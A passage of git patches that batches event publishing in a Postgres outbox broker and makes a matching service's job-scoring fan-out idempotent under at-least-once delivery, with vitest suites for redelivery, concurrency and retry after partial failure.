.insert(schema.eventOutbox) - .values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload as Record, - }) + .values(outboxRow(event)) .onConflictDoNothing({ target: schema.eventOutbox.eventId }); } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes: EventEnvelope[]): Promise { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db + .insert(schema.eventOutbox) + .values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)) + .onConflictDoNothing({ target: schema.eventOutbox.eventId }); + } + } + async subscribe(options: SubscribeOptions): Promise { this.assertOpen(); if (this.registrations.has(options.consumer)) { diff --git a/packages/messaging/test/publish-many.test.ts b/packages/messaging/test/publish-many.test.ts new file mode 100644 index 0000000..4788d81 --- /dev/null +++ b/packages/messaging/test/publish-many.test.ts @@ -0,0 +1,227 @@ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { drizzle } from 'drizzle-orm/postgres-js'; +import { createDatabase, schema, type DatabaseHandle } from '@atlas/db'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { + createEvent, + isBatchPublisher, + MemoryBroker, + PostgresBroker, + publishAll, + type EventBroker, +} from '../src/index.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; + +/** Same private-schema isolation as postgres-broker.test.ts: the outbox tables are shared with other suites. */ +const SCHEMA = `atlas_msg_batch_${randomUUID().replace(/-/g, '').slice(0, 12)}`; +const TABLES = ['event_outbox', 'event_consumers', 'event_deliveries', 'processed_events'] as const; + +function learningEvent(eventId?: string): EventEnvelope<'learning.updated'> { + return createEvent( + 'learning.updated', + { model_version: 'v-test', samples: 3, metric: 'score_lift', value: 0.25 }, + newTraceContext(), + undefined, + eventId, + ); +} + +describe('publishAll without a batch path', () => { + /** A broker with only `publish`, recording how many calls overlap. */ + function plainBroker(options: { failOn?: number } = {}) { + const state = { started: 0, inFlight: 0, maxInFlight: 0, published: [] as string[] }; + const broker: EventBroker = { + publish: async (envelope) => { + state.started += 1; + const mine = state.started; + state.inFlight += 1; + state.maxInFlight = Math.max(state.maxInFlight, state.inFlight); + await new Promise((resolve) => setTimeout(resolve, 2)); + state.inFlight -= 1; + if (mine === options.failOn) throw new Error(`publish ${mine} failed`); + state.published.push(envelope.event_id); + }, + subscribe: async (subscribeOptions) => ({ + consumer: subscribeOptions.consumer, + stop: async () => undefined, + }), + isHealthy: () => true, + close: async () => undefined, + }; + return { broker, state }; + } + + it('is not a batch publisher unless the driver says so', () => { + expect(isBatchPublisher(plainBroker().broker)).toBe(false); + expect(isBatchPublisher(new MemoryBroker())).toBe(false); + }); + + it('publishes every envelope with bounded concurrency', async () => { + const { broker, state } = plainBroker(); + const envelopes = Array.from({ length: 40 }, () => learningEvent()); + + await publishAll(broker, envelopes); + + expect(state.published.sort()).toEqual(envelopes.map((envelope) => envelope.event_id).sort()); + expect(state.maxInFlight).toBeGreaterThan(1); + expect(state.maxInFlight).toBeLessThanOrEqual(8); + }); + + it('does nothing for no envelopes', async () => { + const { broker, state } = plainBroker(); + + await publishAll(broker, []); + + expect(state.started).toBe(0); + }); + + it('rejects with the first failure and starts nothing further', async () => { + const { broker, state } = plainBroker({ failOn: 3 }); + + await expect( + publishAll( + broker, + Array.from({ length: 100 }, () => learningEvent()), + ), + ).rejects.toThrow('publish 3 failed'); + + // The calls already in flight finish; no new one starts after the failure. + expect(state.started).toBeLessThanOrEqual(3 + 8); + }); + + it('delivers to subscribers of an in-memory broker', async () => { + const broker = new MemoryBroker(); + const received: string[] = []; + await broker.subscribe({ + consumer: 'test.consumer', + eventTypes: ['learning.updated'], + handler: async (envelope) => { + received.push(envelope.event_id); + }, + }); + const envelopes = Array.from({ length: 12 }, () => learningEvent()); + + await publishAll(broker, envelopes); + + expect(received.sort()).toEqual(envelopes.map((envelope) => envelope.event_id).sort()); + }); +}); + +describe.skipIf(!testDatabaseUrl)('PostgresBroker.publishMany', () => { + let admin: DatabaseHandle; + let handle: DatabaseHandle; + let broker: PostgresBroker; + + beforeAll(async () => { + admin = createDatabase({ url: testDatabaseUrl as string, maxConnections: 2 }); + await admin.sql.unsafe(`CREATE SCHEMA ${SCHEMA}`); + for (const table of TABLES) { + await admin.sql.unsafe( + `CREATE TABLE ${SCHEMA}.${table} (LIKE public.${table} INCLUDING ALL)`, + ); + } + const url = new URL(testDatabaseUrl as string); + url.searchParams.set('search_path', `${SCHEMA},public`); + handle = createDatabase({ url: url.toString(), maxConnections: 4 }); + broker = new PostgresBroker({ db: handle.db, logger: createSilentLogger() }); + }); + + afterAll(async () => { + await handle?.close(); + if (admin) { + await admin.sql.unsafe(`DROP SCHEMA IF EXISTS ${SCHEMA} CASCADE`); + await admin.close(); + } + }); + + beforeEach(async () => { + await handle.sql.unsafe(`TRUNCATE ${SCHEMA}.event_outbox CASCADE`); + }); + + async function outboxIds(): Promise { + const rows = await handle.sql< + { event_id: string }[] + >`select event_id from event_outbox order by event_id`; + return rows.map((row) => row.event_id); + } + + it('is a batch publisher, and publishAll takes the batch path in one statement', async () => { + const statements: string[] = []; + const counting = new PostgresBroker({ + db: drizzle(handle.sql, { + schema, + logger: { logQuery: (query) => void statements.push(query) }, + }), + logger: createSilentLogger(), + }); + expect(isBatchPublisher(counting)).toBe(true); + + await publishAll( + counting, + Array.from({ length: 200 }, () => learningEvent()), + ); + + expect(statements).toHaveLength(1); + expect(await outboxIds()).toHaveLength(200); + }); + + it('stores each envelope intact', async () => { + const envelope = learningEvent(); + + await broker.publishMany([envelope]); + + const [row] = await handle.sql< + { event_type: string; trace_id: string; correlation_id: string; payload: unknown }[] + >` + select event_type, trace_id, correlation_id, payload from event_outbox where event_id = ${envelope.event_id}`; + expect(row).toEqual({ + event_type: 'learning.updated', + trace_id: envelope.trace.trace_id, + correlation_id: envelope.trace.correlation_id, + payload: envelope.payload, + }); + }); + + it('is idempotent on event_id, across calls and inside one batch', async () => { + const [a, b] = [learningEvent(), learningEvent()]; + + await broker.publishMany([a, b, a]); + await broker.publishMany([b, a]); + await broker.publish(a); + + expect(await outboxIds()).toEqual([a.event_id, b.event_id].sort()); + }); + + it('writes more than one batch when there are many events', async () => { + const envelopes = Array.from({ length: 1_203 }, () => learningEvent()); + + await broker.publishMany(envelopes); + + expect(await outboxIds()).toEqual(envelopes.map((envelope) => envelope.event_id).sort()); + }); + + it('validates every envelope before writing any', async () => { + const good = learningEvent(); + const bad = { + ...learningEvent(), + payload: { model_version: 'v', samples: -1, metric: 'm', value: 0 }, + } as EventEnvelope; + + await expect(broker.publishMany([good, bad])).rejects.toThrow(); + + expect(await outboxIds()).toEqual([]); + }); + + it('accepts an empty batch and refuses a closed broker', async () => { + await broker.publishMany([]); + expect(await outboxIds()).toEqual([]); + + const closed = new PostgresBroker({ db: handle.db, logger: createSilentLogger() }); + await closed.close(); + await expect(closed.publishMany([learningEvent()])).rejects.toThrow('closed'); + }); +}); From 671c3bc7a95d3e7bcd1d4f3dbced54e28a0ee5b8 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:11:38 +0000 Subject: [PATCH 38/91] fix(matching): idempotent, batched job.scored fan-out Under at-least-once delivery a retried or redelivered resume.parsed / job.discovered re-published job.scored for every (user, job) pair under fresh event ids, so analytics (which dedupes by event_id only) counted each pair again. The handlers were also sequential: about four statements per pair, so a full 500-pair fan-out was ~2000 round trips inside a 30s function budget. - job.scored ids are derivedEventId(, job.scored::): a redelivery re-publishes the same envelopes and the outbox drops them. - Reads are batched: the profile once (resume.parsed) or the job once and all candidates' latest profiles in one DISTINCT ON query (job.discovered); the jobs the scorer needs are read without their descriptions. - Scores are written with multi-row INSERT ... ON CONFLICT DO UPDATE, sorted by (job, user) so overlapping fan-outs lock in one order and cannot deadlock. The update is guarded with IS DISTINCT FROM: an unchanged score is not rewritten (no new row version, scored_at stays), which makes a redelivery a true no-op and a retry skip what the failed attempt already wrote. - Events go out through publishAll: one batch INSERT on the postgres driver. - Job and candidate listings get a deterministic tiebreak so a retry sees the same 500 rows. Tests run against a private schema (support/isolated-db.ts) and cover: a full 500-pair fan-out in <= 8 statements for both handlers, redelivery, the same event handled concurrently, a failure part-way plus its retry converging on the uninterrupted result with no duplicate events, and lock ordering. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/matching/src/lib/scorer.ts | 2 +- services/matching/src/repo/lookups.ts | 48 ++- services/matching/src/repo/scores.ts | 84 +++- services/matching/src/worker.ts | 123 ++++-- services/matching/test/at-least-once.test.ts | 407 ++++++++++++++++++ services/matching/test/support/isolated-db.ts | 322 ++++++++++++++ 6 files changed, 923 insertions(+), 63 deletions(-) create mode 100644 services/matching/test/at-least-once.test.ts create mode 100644 services/matching/test/support/isolated-db.ts diff --git a/services/matching/src/lib/scorer.ts b/services/matching/src/lib/scorer.ts index 3dd73b9..a561dea 100644 --- a/services/matching/src/lib/scorer.ts +++ b/services/matching/src/lib/scorer.ts @@ -34,7 +34,7 @@ function expectedMonthsForTitle(title: string): number { * - skill overlap (70%): how much of what the job asks for the candidate has. * - experience fit (30%): whether total experience meets what the title implies. */ -export function scoreMatch(job: Job, profile: ParsedProfile): MatchResult { +export function scoreMatch(job: Pick, profile: ParsedProfile): MatchResult { const candidateSkills = new Set(profile.skills.map((skill) => skill.name)); const jobSkills = job.skills; diff --git a/services/matching/src/repo/lookups.ts b/services/matching/src/repo/lookups.ts index fdf228e..397b4ba 100644 --- a/services/matching/src/repo/lookups.ts +++ b/services/matching/src/repo/lookups.ts @@ -1,4 +1,4 @@ -import { and, desc, eq } from 'drizzle-orm'; +import { and, desc, eq, inArray } from 'drizzle-orm'; import { schema, type Database } from '@atlas/db'; import type { Job, ParsedProfile } from '@atlas/types'; @@ -43,6 +43,13 @@ export async function findJobById(db: Database, jobId: string): Promise; + /** * Most recently posted active jobs, bounded to keep one `job.discovered` (or * `resume.parsed`) event's fan-out work finite. A production system would @@ -51,14 +58,15 @@ export async function findJobById(db: Database, jobId: string): Promise { +export async function listActiveJobs(db: Database, limit = RESCORE_BATCH_LIMIT): Promise { const rows = await db - .select() + .select({ jobId: schema.jobs.jobId, title: schema.jobs.title, skills: schema.jobs.skills }) .from(schema.jobs) .where(eq(schema.jobs.isActive, true)) - .orderBy(desc(schema.jobs.createdAt)) + // jobId breaks ties so a retried fan-out sees the same 500 jobs. + .orderBy(desc(schema.jobs.createdAt), desc(schema.jobs.jobId)) .limit(limit); - return rows.map(toJob); + return rows.map((row) => ({ job_id: row.jobId, title: row.title, skills: row.skills.slice(0, 200) })); } export async function findLatestParsedProfile( @@ -69,7 +77,7 @@ export async function findLatestParsedProfile( .select({ parsedProfile: schema.resumes.parsedProfile }) .from(schema.resumes) .where(and(eq(schema.resumes.userId, userId), eq(schema.resumes.status, 'parsed'))) - .orderBy(desc(schema.resumes.parsedAt)) + .orderBy(desc(schema.resumes.parsedAt), desc(schema.resumes.resumeId)) .limit(1); return row?.parsedProfile ?? null; } @@ -80,8 +88,34 @@ export async function listCandidateUserIds(db: Database, limit = RESCORE_BATCH_L .select({ userId: schema.resumes.userId }) .from(schema.resumes) .where(eq(schema.resumes.status, 'parsed')) - .orderBy(desc(schema.resumes.parsedAt)) + // resumeId breaks ties so a retried fan-out sees the same candidates. + .orderBy(desc(schema.resumes.parsedAt), desc(schema.resumes.resumeId)) .limit(limit); // A user with multiple parsed resumes appears once per resume; de-dupe. return [...new Set(rows.map((row) => row.userId))]; } + +/** + * Batched sibling of `findLatestParsedProfile`: one query for N users instead + * of N. A user with no parsed resume is absent from the map. + */ +export async function findLatestParsedProfiles( + db: Database, + userIds: string[], +): Promise> { + const profiles = new Map(); + if (userIds.length === 0) return profiles; + + const rows = await db + .selectDistinctOn([schema.resumes.userId], { + userId: schema.resumes.userId, + parsedProfile: schema.resumes.parsedProfile, + }) + .from(schema.resumes) + .where(and(inArray(schema.resumes.userId, userIds), eq(schema.resumes.status, 'parsed'))) + .orderBy(schema.resumes.userId, desc(schema.resumes.parsedAt), desc(schema.resumes.resumeId)); + for (const row of rows) { + if (row.parsedProfile) profiles.set(row.userId, row.parsedProfile); + } + return profiles; +} diff --git a/services/matching/src/repo/scores.ts b/services/matching/src/repo/scores.ts index cdcb78d..10ef802 100644 --- a/services/matching/src/repo/scores.ts +++ b/services/matching/src/repo/scores.ts @@ -1,3 +1,4 @@ +import { sql } from 'drizzle-orm'; import { schema, type Database } from '@atlas/db'; export interface UpsertScoreInput { @@ -9,28 +10,65 @@ export interface UpsertScoreInput { modelVersion: string; } -/** Idempotent by design: a job re-scored for the same user replaces its row rather than duplicating it. */ -export async function upsertScore(db: Database, input: UpsertScoreInput): Promise { +/** + * Rows per INSERT. A fan-out is bounded at 500 pairs (see `lookups.ts`), so it + * is two statements; the cap only keeps a statement from growing if that bound + * is ever raised (7 bound values per row, far below Postgres' 65535 limit). + */ +const UPSERT_CHUNK = 250; + +/** Code-unit order: the same on every runtime, which is all the lock ordering needs. */ +function compareIds(a: string, b: string): number { + return a < b ? -1 : a > b ? 1 : 0; +} + +/** + * Idempotent by design: a (job, user) pair scored again replaces its row + * rather than duplicating it, and an unchanged result writes nothing at all — + * no new row version, and `scored_at` stays at the time the score last + * changed. That makes a redelivered event a true no-op here, and lets a retry + * after a partial failure skip what the failed attempt already wrote. + * + * Rows go in one multi-row INSERT per chunk, sorted by (job, user): two + * handlers racing on overlapping pairs (the same event delivered twice, or a + * `job.discovered` against a `resume.parsed`) then lock rows in the same order + * and cannot deadlock. A pair appearing twice keeps its last input. + */ +export async function upsertScores(db: Database, inputs: UpsertScoreInput[]): Promise { + if (inputs.length === 0) return; + + const byPair = new Map(); + for (const input of inputs) byPair.set(`${input.jobId}:${input.userId}`, input); + const ordered = [...byPair.values()].sort( + (a, b) => compareIds(a.jobId, b.jobId) || compareIds(a.userId, b.userId), + ); + + const table = schema.jobScores; const now = new Date().toISOString(); - await db - .insert(schema.jobScores) - .values({ - jobId: input.jobId, - userId: input.userId, - score: input.score, - reasons: input.reasons, - skillGaps: input.skillGaps, - modelVersion: input.modelVersion, - scoredAt: now, - }) - .onConflictDoUpdate({ - target: [schema.jobScores.jobId, schema.jobScores.userId], - set: { - score: input.score, - reasons: input.reasons, - skillGaps: input.skillGaps, - modelVersion: input.modelVersion, - scoredAt: now, - }, - }); + for (let start = 0; start < ordered.length; start += UPSERT_CHUNK) { + await db + .insert(table) + .values( + ordered.slice(start, start + UPSERT_CHUNK).map((input) => ({ + jobId: input.jobId, + userId: input.userId, + score: input.score, + reasons: input.reasons, + skillGaps: input.skillGaps, + modelVersion: input.modelVersion, + scoredAt: now, + })), + ) + .onConflictDoUpdate({ + target: [table.jobId, table.userId], + set: { + score: sql`excluded.score`, + reasons: sql`excluded.reasons`, + skillGaps: sql`excluded.skill_gaps`, + modelVersion: sql`excluded.model_version`, + scoredAt: sql`excluded.scored_at`, + }, + setWhere: sql`(${table.score}, ${table.reasons}, ${table.skillGaps}, ${table.modelVersion}) is distinct from (excluded.score, excluded.reasons, excluded.skill_gaps, excluded.model_version)`, + }); + } } diff --git a/services/matching/src/worker.ts b/services/matching/src/worker.ts index a12ed6f..8c80e8b 100644 --- a/services/matching/src/worker.ts +++ b/services/matching/src/worker.ts @@ -1,9 +1,21 @@ import type { Database } from '@atlas/db'; -import { createEvent, type EventBroker, type Subscription } from '@atlas/messaging'; +import { + createEvent, + derivedEventId, + publishAll, + type EventBroker, + type Subscription, +} from '@atlas/messaging'; import type { EventEnvelope } from '@atlas/types'; import { childTrace, type Logger } from '@atlas/utils'; -import { findLatestParsedProfile, findJobById, listActiveJobs, listCandidateUserIds } from './repo/lookups.js'; -import { upsertScore } from './repo/scores.js'; +import { + findJobById, + findLatestParsedProfile, + findLatestParsedProfiles, + listActiveJobs, + listCandidateUserIds, +} from './repo/lookups.js'; +import { upsertScores, type UpsertScoreInput } from './repo/scores.js'; import { MODEL_VERSION, scoreMatch } from './lib/scorer.js'; export interface WorkerDeps { @@ -13,59 +25,106 @@ export interface WorkerDeps { } /** - * Scores one job for one user and publishes `job.scored`. Silently does - * nothing if the user has no parsed resume yet — there's nothing to score - * against, and that's a normal state, not an error. + * Persists the scores, then publishes one `job.scored` per pair. + * + * Delivery is at-least-once, so this whole function can run again for the + * same triggering event (a retry after a failure part-way, a lease that + * expired, two drains racing). Both halves are built to be repeatable: the + * upsert rewrites nothing that did not change, and every `job.scored` gets an + * id derived from the triggering event and the pair, so the outbox drops the + * repeat instead of analytics counting it twice. The statements are bounded + * (a few, whatever the number of pairs); nothing here loops over a pair. */ -async function scoreAndPublish(deps: WorkerDeps, jobId: string, userId: string, trace: EventEnvelope['trace']) { - const profile = await findLatestParsedProfile(deps.db, userId); - if (!profile) return; - const job = await findJobById(deps.db, jobId); - if (!job || !job.is_active) return; +async function scoreAndPublish( + deps: WorkerDeps, + envelope: EventEnvelope, + scores: UpsertScoreInput[], +): Promise { + if (scores.length === 0) return; - const result = scoreMatch(job, profile); - await upsertScore(deps.db, { - jobId: job.job_id, - userId, - score: result.score, - reasons: result.reasons, - skillGaps: result.skillGaps, - modelVersion: MODEL_VERSION, - }); + await upsertScores(deps.db, scores); - await deps.broker.publish( - createEvent( - 'job.scored', - { job_id: job.job_id, user_id: userId, score: result.score, model_version: MODEL_VERSION }, - childTrace(trace, { user_id: userId }), + const occurredAt = new Date().toISOString(); + await publishAll( + deps.broker, + scores.map((score) => + createEvent( + 'job.scored', + { + job_id: score.jobId, + user_id: score.userId, + score: score.score, + model_version: score.modelVersion, + }, + childTrace(envelope.trace, { user_id: score.userId }), + occurredAt, + derivedEventId(envelope.event_id, `job.scored:${score.jobId}:${score.userId}`), + ), ), ); + deps.logger.info({ event_id: envelope.event_id, scored: scores.length }, 'scored job matches'); } /** * A new resume finished parsing: score it against the current pool of active - * jobs. Bounded (see `listActiveJobs`) and processed sequentially — this is - * cheap heuristic scoring, not a reason to add fan-out infrastructure yet. + * jobs. Bounded (see `listActiveJobs`); the reads are two queries and the + * writes are batched, so a full pool is cheap heuristic scoring, not a reason + * to add fan-out infrastructure yet. Silently does nothing if the user has no + * parsed resume yet — there's nothing to score against, and that's a normal + * state, not an error. */ async function handleResumeParsed(deps: WorkerDeps, envelope: EventEnvelope<'resume.parsed'>) { const { user_id } = envelope.payload; + const profile = await findLatestParsedProfile(deps.db, user_id); + if (!profile) return; + const jobs = await listActiveJobs(deps.db); - for (const job of jobs) { - await scoreAndPublish(deps, job.job_id, user_id, envelope.trace); - } + await scoreAndPublish( + deps, + envelope, + jobs.map((job) => { + const result = scoreMatch(job, profile); + return { + jobId: job.job_id, + userId: user_id, + score: result.score, + reasons: result.reasons, + skillGaps: result.skillGaps, + modelVersion: MODEL_VERSION, + }; + }), + ); } /** * A new job appeared: score it against every candidate who already has a * parsed resume, so their recommendations pick it up without waiting for - * their own next resume upload. + * their own next resume upload. The job is read once and the candidates' + * profiles in one query, not once per candidate. */ async function handleJobDiscovered(deps: WorkerDeps, envelope: EventEnvelope<'job.discovered'>) { const { job_id } = envelope.payload; + const job = await findJobById(deps.db, job_id); + if (!job || !job.is_active) return; + const userIds = await listCandidateUserIds(deps.db); + const profiles = await findLatestParsedProfiles(deps.db, userIds); + + const scores: UpsertScoreInput[] = []; for (const userId of userIds) { - await scoreAndPublish(deps, job_id, userId, envelope.trace); + const profile = profiles.get(userId); + if (!profile) continue; + const result = scoreMatch(job, profile); + scores.push({ + jobId: job.job_id, + userId, + score: result.score, + reasons: result.reasons, + skillGaps: result.skillGaps, + modelVersion: MODEL_VERSION, + }); } + await scoreAndPublish(deps, envelope, scores); } export async function registerConsumers(deps: WorkerDeps): Promise { diff --git a/services/matching/test/at-least-once.test.ts b/services/matching/test/at-least-once.test.ts new file mode 100644 index 0000000..f870b2f --- /dev/null +++ b/services/matching/test/at-least-once.test.ts @@ -0,0 +1,407 @@ +/** + * matching-service under at-least-once delivery: the same event can reach a + * handler again (a retry after a failure part-way, an expired lease, two + * drains racing) and a fan-out must be both repeatable and cheap. + * + * Runs against a private schema (see support/isolated-db.ts) so the 500-row + * pools it seeds cannot leak into other suites. DB-backed tests self-skip when + * ATLAS_TEST_DATABASE_URL is unset (see .env.example). + */ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { derivedEventId, createEvent } from '@atlas/messaging'; +import { schema } from '@atlas/db'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { upsertScores, type UpsertScoreInput } from '../src/repo/scores.js'; +import { registerConsumers } from '../src/worker.js'; +import { + createIsolatedDatabase, + deliver, + newPostgresBroker, + parsedProfile, + seedJobs, + seedParsedResumes, + spyBroker, + type IsolatedDatabase, + type SpyBroker, +} from './support/isolated-db.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; + +const RESUME_CONSUMER = 'matching-service.resume-parsed'; +const JOB_CONSUMER = 'matching-service.job-discovered'; + +/** The size of a full fan-out (`RESCORE_BATCH_LIMIT`). */ +const FULL_POOL = 500; +/** At most 3 reads, 2 chunked upserts and 1 batch publish, with headroom; it used to be ~4 statements per pair. */ +const STATEMENT_BUDGET = 8; + +function resumeParsed(userId: string): EventEnvelope<'resume.parsed'> { + return createEvent( + 'resume.parsed', + { + resume_id: randomUUID(), + user_id: userId, + ats_score: 80, + skill_count: 3, + total_months_experience: 24, + }, + newTraceContext({ user_id: userId }), + ); +} + +function jobDiscovered(jobId: string): EventEnvelope<'job.discovered'> { + return createEvent( + 'job.discovered', + { + job_id: jobId, + company_id: randomUUID(), + source: 'manual', + job_hash: randomUUID(), + title: 'Engineer', + }, + newTraceContext(), + ); +} + +describe.skipIf(!testDatabaseUrl)('matching-service under at-least-once delivery', () => { + let isolated: IsolatedDatabase; + let spy: SpyBroker; + + const sql = () => isolated.handle.sql; + + beforeAll(async () => { + isolated = await createIsolatedDatabase(testDatabaseUrl as string); + }); + + afterAll(async () => { + await isolated?.close(); + }); + + beforeEach(async () => { + await isolated.reset(); + spy = spyBroker(newPostgresBroker(isolated)); + await registerConsumers({ db: isolated.db, broker: spy, logger: createSilentLogger() }); + }); + + async function scoreRows() { + return sql()< + { + job_id: string; + user_id: string; + score: number; + reasons: string[]; + skill_gaps: string[]; + model_version: string; + scored_at: string; + }[] + >`select job_id, user_id, score, reasons, skill_gaps, model_version, scored_at::text as scored_at + from job_scores order by job_id, user_id`; + } + + async function scoredEvents() { + return sql()< + { event_id: string; payload: { job_id: string; user_id: string; score: number } }[] + >` + select event_id, payload from event_outbox where event_type = 'job.scored' order by event_id`; + } + + /** Pairs published more than once: the double count analytics would see. */ + async function duplicatedPairs() { + return sql()<{ job_id: string; user_id: string; copies: number }[]>` + select payload->>'job_id' as job_id, payload->>'user_id' as user_id, count(*)::int as copies + from event_outbox where event_type = 'job.scored' + group by 1, 2 having count(*) > 1`; + } + + describe('resume.parsed', () => { + it('scores a full pool of 500 jobs in a bounded number of statements', async () => { + const userId = randomUUID(); + const jobIds = await seedJobs(isolated, FULL_POOL); + await seedParsedResumes(isolated, [userId]); + const envelope = resumeParsed(userId); + isolated.queries.length = 0; + + const startedAt = performance.now(); + await deliver(spy, RESUME_CONSUMER, envelope); + const elapsedMs = performance.now() - startedAt; + + expect(isolated.queries.length).toBeLessThanOrEqual(STATEMENT_BUDGET); + // Generous: the point is "seconds, not minutes", not a benchmark. + expect(elapsedMs).toBeLessThan(5_000); + + expect(await scoreRows()).toHaveLength(FULL_POOL); + const events = await scoredEvents(); + expect(events.map((event) => event.event_id).sort()).toEqual( + jobIds + .map((jobId) => derivedEventId(envelope.event_id, `job.scored:${jobId}:${userId}`)) + .sort(), + ); + expect(events.every((event) => event.payload.user_id === userId)).toBe(true); + }); + + it('does nothing without a parsed resume', async () => { + await seedJobs(isolated, 5); + + await deliver(spy, RESUME_CONSUMER, resumeParsed(randomUUID())); + + expect(await scoreRows()).toHaveLength(0); + expect(await scoredEvents()).toHaveLength(0); + }); + + it('a redelivered event leaves the scores byte-identical and publishes nothing new', async () => { + const userId = randomUUID(); + await seedJobs(isolated, 60); + await seedParsedResumes(isolated, [userId]); + const envelope = resumeParsed(userId); + + await deliver(spy, RESUME_CONSUMER, envelope); + const scoresBefore = await scoreRows(); + const eventsBefore = await scoredEvents(); + await deliver(spy, RESUME_CONSUMER, envelope, 1); + + // scored_at included: an unchanged score is not rewritten at all. + expect(await scoreRows()).toEqual(scoresBefore); + expect(await scoredEvents()).toEqual(eventsBefore); + expect(eventsBefore).toHaveLength(60); + }); + + it('a new resume.parsed event for the same user is a new scoring and publishes again', async () => { + const userId = randomUUID(); + await seedJobs(isolated, 10); + await seedParsedResumes(isolated, [userId]); + + await deliver(spy, RESUME_CONSUMER, resumeParsed(userId)); + await deliver(spy, RESUME_CONSUMER, resumeParsed(userId)); + + expect(await scoreRows()).toHaveLength(10); + expect(await scoredEvents()).toHaveLength(20); + }); + + it('the same event delivered to several handlers at once is processed as one', async () => { + const userId = randomUUID(); + const jobIds = await seedJobs(isolated, FULL_POOL); + await seedParsedResumes(isolated, [userId]); + const envelope = resumeParsed(userId); + + await Promise.all( + [1, 2, 3].map((attempt) => deliver(spy, RESUME_CONSUMER, envelope, attempt)), + ); + + expect(await scoreRows()).toHaveLength(FULL_POOL); + expect(await scoredEvents()).toHaveLength(FULL_POOL); + expect(await duplicatedPairs()).toEqual([]); + expect(jobIds).toHaveLength(FULL_POOL); + }); + + it('a failure part-way and its retry converge on the uninterrupted result with no duplicate events', async () => { + const [reference, interrupted] = [randomUUID(), randomUUID()]; + await seedJobs(isolated, FULL_POOL); + // Seeded one at a time, both get the same profile, so both runs must score alike. + await seedParsedResumes(isolated, [reference]); + await seedParsedResumes(isolated, [interrupted]); + + await deliver(spy, RESUME_CONSUMER, resumeParsed(reference)); + + const retried = resumeParsed(interrupted); + spy.publishBudget = 137; + await expect(deliver(spy, RESUME_CONSUMER, retried)).rejects.toThrow( + 'injected publish failure', + ); + spy.publishBudget = Number.POSITIVE_INFINITY; + await deliver(spy, RESUME_CONSUMER, retried, 1); + + const scores = await scoreRows(); + const byUser = (userId: string) => + scores + .filter((row) => row.user_id === userId) + .map(({ job_id, score, reasons, skill_gaps, model_version }) => ({ + job_id, + score, + reasons, + skill_gaps, + model_version, + })); + expect(byUser(interrupted)).toHaveLength(FULL_POOL); + expect(byUser(interrupted)).toEqual(byUser(reference)); + + const events = await scoredEvents(); + expect(events).toHaveLength(2 * FULL_POOL); + expect(await duplicatedPairs()).toEqual([]); + const scoreByJob = (userId: string) => + events + .filter((event) => event.payload.user_id === userId) + .map((event) => [event.payload.job_id, event.payload.score]) + .sort(); + expect(scoreByJob(interrupted)).toEqual(scoreByJob(reference)); + }); + }); + + describe('job.discovered', () => { + it('scores a full pool of 500 candidates in a bounded number of statements', async () => { + const [jobId] = await seedJobs(isolated, 1); + const userIds = Array.from({ length: FULL_POOL }, () => randomUUID()); + await seedParsedResumes(isolated, userIds); + const envelope = jobDiscovered(jobId as string); + isolated.queries.length = 0; + + const startedAt = performance.now(); + await deliver(spy, JOB_CONSUMER, envelope); + const elapsedMs = performance.now() - startedAt; + + expect(isolated.queries.length).toBeLessThanOrEqual(STATEMENT_BUDGET); + expect(elapsedMs).toBeLessThan(5_000); + + const scores = await scoreRows(); + expect(scores.map((row) => row.user_id).sort()).toEqual([...userIds].sort()); + expect((await scoredEvents()).map((event) => event.event_id).sort()).toEqual( + userIds + .map((userId) => derivedEventId(envelope.event_id, `job.scored:${jobId}:${userId}`)) + .sort(), + ); + }); + + it('ignores a job that is gone or no longer active', async () => { + const [jobId] = await seedJobs(isolated, 1); + await seedParsedResumes(isolated, [randomUUID()]); + await sql()`update jobs set is_active = false where job_id = ${jobId as string}`; + + await deliver(spy, JOB_CONSUMER, jobDiscovered(jobId as string)); + await deliver(spy, JOB_CONSUMER, jobDiscovered(randomUUID())); + + expect(await scoreRows()).toHaveLength(0); + expect(await scoredEvents()).toHaveLength(0); + }); + + it('scores a user once however many parsed resumes they have, from the latest one', async () => { + const userId = randomUUID(); + const [jobId] = await seedJobs(isolated, 1); + await seedParsedResumes(isolated, [userId]); + // An older resume with no skills at all; the newer seeded one must win. + await isolated.db.insert(schema.resumes).values({ + userId, + storageUrl: 'x', + originalFilename: 'old.txt', + contentType: 'text/plain', + byteSize: 10, + contentHash: randomUUID(), + status: 'parsed', + parsedProfile: parsedProfile([], 0), + parsedAt: new Date(Date.now() - 30 * 24 * 60 * 60 * 1000).toISOString(), + }); + + await deliver(spy, JOB_CONSUMER, jobDiscovered(jobId as string)); + + const scores = await scoreRows(); + expect(scores).toHaveLength(1); + // The seeded profile has react and python of the job's five skills; the empty old one would leave all five. + expect(scores[0]?.skill_gaps).toEqual(['postgresql', 'go', 'kafka']); + expect(await scoredEvents()).toHaveLength(1); + }); + + it('a failure part-way and its retry publish each pair exactly once', async () => { + const [jobId] = await seedJobs(isolated, 1); + const userIds = Array.from({ length: FULL_POOL 